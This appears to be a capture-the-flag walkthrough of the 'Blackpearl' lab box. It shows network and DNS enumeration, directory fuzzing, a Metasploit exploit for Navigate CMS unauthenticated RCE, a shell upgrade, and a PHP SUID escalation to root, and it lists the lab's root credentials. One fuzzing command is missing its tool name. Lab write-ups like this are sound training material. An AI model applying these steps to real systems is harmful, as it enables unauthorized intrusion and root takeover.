Walkthrough: Blackpearl
The Blackpearl box starts with a hidden subdomain hosting a vulnerable Navigate CMS, leading to an unauthenticated RCE shell, then a SUID binary gets us to root.
Credentials
root:tcm
Discovery and Scan
A network discovery scan finds the target at 192.168.57.12:
sudo netdiscover -r 192.168.57.0/24
Then an nmap scan against 192.168.57.12:
http://192.168.57.12:80 reveals an nginx web server is running:
Enumerate the Web Server
Enumerating the web server, /secret is the only finding:
Sneaky!
Now what? The page source of the home page reveals an email: alek@blackpearl.tcm
Find the Hidden Subdomain
Perhaps there's a VLAN and hidden subdomain. Enumerate with dnsrecon:
sudo dnsrecon -r 127.0.0.0/24 -n 192.168.57.12 -d other
-r= range-n= target-d= domain (we have to put something or it won't scan, so we typed "other")
This discovers blackpearl.tcm at 127.0.0.1. Add it to our /etc/hosts:
Close out all web browsers and go to: http://blackpearl.tcm
Fuzz for Directories
FUZZ the site:
sudo -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://blackpearl.tcm/FUZZ
We found /navigate, which brings us to a login page:
Exploit Navigate CMS
It's a Navigate CMS v2.8. A quick Google search tells us it's vulnerable to an Unauthenticated Remote Code Execution.
MSF has an exploit/multi/http/navigate_cms_rce:
And we got a shell:
Privilege Escalation
cat /etc/passwd reveals that alek is a user:
Make the shell cleaner by spawning a tty shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Much cleaner. Next, get LinPEAS on here and check for privesc vectors:
After enumerating we come across this:
The -rwsr-xr-x permissions, and the s in particular, mean anyone can run the file as root. This is a privesc vector. A quick way to find these:
find / -type f -perm -4000 2>/dev/null
Check https://gtfobins.github.io to see which of these binaries has a privesc exploit. PHP comes up:
Following the GTFOBins syntax, and since our version is 7.3:
/usr/bin/php7.3 -r "pcntl_exec('/bin/sh', ['-p']);"
Rooted.